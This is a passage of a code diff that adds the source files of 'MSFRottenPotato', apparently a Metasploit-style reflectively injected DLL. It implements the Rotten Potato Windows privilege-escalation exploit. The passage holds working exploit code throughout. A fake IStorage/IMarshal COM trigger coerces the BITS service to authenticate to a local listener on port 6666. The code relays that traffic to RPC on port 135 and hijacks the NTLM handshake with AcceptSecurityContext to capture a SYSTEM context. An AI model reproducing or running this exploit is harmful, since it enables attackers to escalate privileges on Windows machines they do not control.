// Always set out parameter to NULL, validating it first.
if (!ppvObj)
return E_INVALIDARG;
if (riid == IID_IUnknown)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
}
else if (riid == IID_IStorage)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
}
else if (riid == IID_IMarshal)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
}
else
{
*ppvObj = NULL;
return E_NOINTERFACE;
}
// Increment the reference count and return the pointer.
return S_OK;
}
ULONG IStorageTrigger::AddRef() {
m_cRef++;
return m_cRef;
}
ULONG IStorageTrigger::Release() {
// Decrement the object's internal counter.
ULONG ulRefCount = m_cRef--;
return ulRefCount;
}

View File

@ -0,0 +1,35 @@
#pragma once
#include "Objidl.h"
class IStorageTrigger : public IMarshal, public IStorage {
private:
IStorage *_stg;
int m_cRef;
public:
IStorageTrigger(IStorage *stg);
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
HRESULT STDMETHODCALLTYPE Revert();
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
ULONG STDMETHODCALLTYPE AddRef();
ULONG STDMETHODCALLTYPE Release();
};

View File

@ -0,0 +1,115 @@
#include "stdafx.h"
#include "LocalNegotiator.h"
#include <iostream>
LocalNegotiator::LocalNegotiator()
{
authResult = -1;
}
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
pSecBuffer->BufferType = SECBUFFER_TOKEN;
pSecBuffer->cbBuffer = 0;
pSecBuffer->pvBuffer = nullptr;
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
pSecBufferDesc->cBuffers = 1;
pSecBufferDesc->pBuffers = pSecBuffer;
}
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
{
TCHAR lpPackageName[1024] = L"Negotiate";
TimeStamp ptsExpiry;
int status = AcquireCredentialsHandle(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&hCred,
&ptsExpiry);
if (status != SEC_E_OK)
{
printf("Error in AquireCredentialsHandle");
return -1;
}
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
phContext = new CtxtHandle();
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
status = AcceptSecurityContext(
&hCred,
nullptr,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
return status;
}
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
{
char* newNtlmBytes = (char*) secServerBuffer.pvBuffer;
if (len >= secServerBuffer.cbBuffer) {
for (int i = 0; i < len; i++)
{
if (i < secServerBuffer.cbBuffer) {
ntlmBytes[i] = newNtlmBytes[i];
}
else {
ntlmBytes[i] = 0x00;
}
}
}
else {
printf("Buffer sizes incompatible - can't replace");
}
return 0;
}
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
{
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
int status = AcceptSecurityContext(
&hCred,
phContext,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
authResult = status;
return status;
}

View File

@ -0,0 +1,21 @@
#define SECURITY_WIN32
#pragma once
#include <security.h>
#include <schannel.h>
class LocalNegotiator
{
public:
LocalNegotiator();
int handleType1(char* ntlmBytes, int len);
int handleType2(char* ntlmBytes, int len);
int handleType3(char* ntlmBytes, int len);
PCtxtHandle phContext;
int authResult;
private:
CredHandle hCred;
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
SecBuffer secClientBuffer, secServerBuffer;
};

View File

@ -0,0 +1,374 @@
#include "stdafx.h"
#include "MSFRottenPotato.h"
#include "IStorageTrigger.h"
#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
int CMSFRottenPotato::newConnection;
// This is the constructor of a class that has been exported.
// see MSFRottenPotato.h for the class definition
CMSFRottenPotato::CMSFRottenPotato()
{
comSendQ = new BlockingQueue<char*>();
rpcSendQ = new BlockingQueue<char*>();
newConnection = 0;
negotiator = new LocalNegotiator();
return;
}
DWORD CMSFRottenPotato::startRPCConnectionThread() {
DWORD ThreadID;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
return ThreadID;
}
DWORD CMSFRottenPotato::startCOMListenerThread() {
DWORD ThreadID;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);
return ThreadID;
}
DWORD WINAPI CMSFRottenPotato::staticStartRPCConnection(void* Param)
{
CMSFRottenPotato* This = (CMSFRottenPotato*)Param;
return This->startRPCConnection();
}
DWORD WINAPI CMSFRottenPotato::staticStartCOMListener(void* Param)
{
CMSFRottenPotato* This = (CMSFRottenPotato*)Param;
return This->startCOMListener();
}
int CMSFRottenPotato::findNTLMBytes(char *bytes, int len) {
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
//we can just return the index
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
int pIdx = 0;
int i;
for (i = 0; i < len; i++) {
if (bytes[i] == pattern[pIdx]) {
pIdx = pIdx + 1;
if (pIdx == 7) return (i - 6);
}
else {
pIdx = 0;
}
}
return -1;
}
int CMSFRottenPotato::processNtlmBytes(char *bytes, int len) {
int ntlmLoc = findNTLMBytes(bytes, len);
if (ntlmLoc == -1) return -1;
int messageType = bytes[ntlmLoc + 8];
switch (messageType) {
//NTLM type 1 message
case 1:
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
break;
//NTLM type 2 message
case 2:
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
break;
//NTLM type 3 message
case 3:
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
break;
default:
return -1;
break;
}
return 0;
}
int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
fd_set readSet;
FD_ZERO(&readSet);
FD_SET(*ListenSocket, &readSet);
timeval timeout;
timeout.tv_sec = 1; // Zero timeout (poll)
timeout.tv_usec = 0;
if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
*ClientSocket = accept(*ListenSocket, NULL, NULL);
return 1;
}
return 0;
}
int CMSFRottenPotato::triggerDCOM(void)
{
CoInitialize(nullptr);
//Create IStorage object
IStorage *stg = NULL;
ILockBytes *lb = NULL;
CreateILockBytesOnHGlobal(NULL, true, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
//Initialze IStorageTrigger object
IStorageTrigger* t = new IStorageTrigger(stg);
//Prep a few more args for CoGetInstanceFromIStorage
CLSID clsid;
//BITS IID
CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid);
CLSID tmp;
//IUnknown IID
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
MULTI_QI qis[1];
qis[0].pIID = &tmp;
qis[0].pItf = NULL;
qis[0].hr = 0;
//Call CoGetInstanceFromIStorage
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
return 0;
}
int CMSFRottenPotato::startRPCConnection(void) {
const int DEFAULT_BUFLEN = 4096;
PCSTR DEFAULT_PORT = "135";
PCSTR host = "127.0.0.1";
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
char *sendbuf;
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, DEFAULT_PORT, &hints, &result);
if (iResult != 0) {
WSACleanup();
return 1;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return 1;
}
// Connect to server.
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return 1;
}
// Send/Receive until the peer closes the connection
do {
//Monitor our sendQ until we have some data to send
int *len = (int*)rpcSendQ->wait_pop();
sendbuf = rpcSendQ->wait_pop();
//Check if we should be opening a new socket before we send the data
if (newConnection == 1) {
//closesocket(ConnectSocket);
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
newConnection = 0;
}
iResult = send(ConnectSocket, sendbuf, *len, 0);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
comSendQ->push((char*)&iResult);
comSendQ->push(recvbuf);
}
else if (iResult == 0)
printf("RPC-> Connection closed\n");
else
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
} while (iResult > 0);
// cleanup
iResult = shutdown(ConnectSocket, SD_SEND);
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
int CMSFRottenPotato::startCOMListener(void) {
const int DEFAULT_BUFLEN = 4096;
PCSTR DEFAULT_PORT = "6666";
WSADATA wsaData;
int iResult;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
struct addrinfo *result = NULL;
struct addrinfo hints;
int iSendResult;
char *sendbuf;
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
// Resolve the server address and port
iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
if (iResult != 0) {
WSACleanup();
return 1;
}
// Create a SOCKET for connecting to server
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
closesocket(ListenSocket);
WSACleanup();
return 1;
}
// Accept a client socket
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
closesocket(ListenSocket);
WSACleanup();
return 1;
}
// Receive until the peer shuts down the connection
int ntlmLoc;
do {
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
//check to see if the received packet has NTLM auth information
processNtlmBytes(recvbuf, iResult);
//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
//put packet in winrpc_sendq
rpcSendQ->push((char*)&iResult);
rpcSendQ->push(recvbuf);
//block and wait for a new item in our sendq
int* len = (int*)comSendQ->wait_pop();
sendbuf = comSendQ->wait_pop();
//Check to see if this is a packet containing NTLM authentication information before sending
processNtlmBytes(sendbuf, *len);
//send the new packet sendbuf
iSendResult = send(ClientSocket, sendbuf, *len, 0);
if (iSendResult == SOCKET_ERROR) {
closesocket(ClientSocket);
WSACleanup();
return 1;
}
//Sometimes Windows likes to open a new connection instead of using the current one
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
}
else if (iResult == 0)
printf("Connection closing...\n");
else {
closesocket(ClientSocket);
WSACleanup();
return 1;
}
} while (iResult > 0);
// shutdown the connection since we're done
iResult = shutdown(ClientSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
closesocket(ClientSocket);
WSACleanup();
return 1;
}
// cleanup
closesocket(ClientSocket);
WSACleanup();
closesocket(ListenSocket);
WSACleanup();
return 0;
}

View File

@ -0,0 +1,35 @@
// The following ifdef block is the standard way of creating macros which make exporting
// from a DLL simpler. All files within this DLL are compiled with the MSFROTTENPOTATO_EXPORTS
// symbol defined on the command line. This symbol should not be defined on any project
// that uses this DLL. This way any other project whose source files include this file see
// MSFROTTENPOTATO_API functions as being imported from a DLL, whereas this DLL sees symbols
// defined with this macro as being exported.
#ifdef MSFROTTENPOTATO_EXPORTS
#define MSFROTTENPOTATO_API __declspec(dllexport)
#else
#define MSFROTTENPOTATO_API __declspec(dllimport)
#endif
#include "Objidl.h"
#include "BlockingQueue.h"
#include "LocalNegotiator.h"
// This class is exported from the MSFRottenPotato.dll
class MSFROTTENPOTATO_API CMSFRottenPotato {
private:
BlockingQueue<char*>* comSendQ;
BlockingQueue<char*>* rpcSendQ;
static DWORD WINAPI staticStartRPCConnection(void * Param);
static DWORD WINAPI staticStartCOMListener(void * Param);
static int newConnection;
int processNtlmBytes(char* bytes, int len);
int findNTLMBytes(char * bytes, int len);
public:
CMSFRottenPotato(void);
int startRPCConnection(void);
DWORD startRPCConnectionThread();
DWORD startCOMListenerThread();
int startCOMListener(void);
int triggerDCOM();
LocalNegotiator *negotiator;
};

View File

@ -0,0 +1,195 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>MSFRottenPotato</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="BlockingQueue.h" />
<ClInclude Include="IStorageTrigger.h" />
<ClInclude Include="LocalNegotiator.h" />
<ClInclude Include="MSFRottenPotato.h" />
<ClInclude Include="ReflectiveDllInjection.h" />
<ClInclude Include="ReflectiveLoader.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="IStorageTrigger.cpp" />
<ClCompile Include="LocalNegotiator.cpp" />
<ClCompile Include="MSFRottenPotato.cpp" />
<ClCompile Include="ReflectiveLoader.c" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,66 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MSFRottenPotato.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="IStorageTrigger.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="BlockingQueue.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="LocalNegotiator.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReflectiveDllInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="MSFRottenPotato.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="IStorageTrigger.cpp">
<Filter>Source Files</Filter>
</ClCompile>
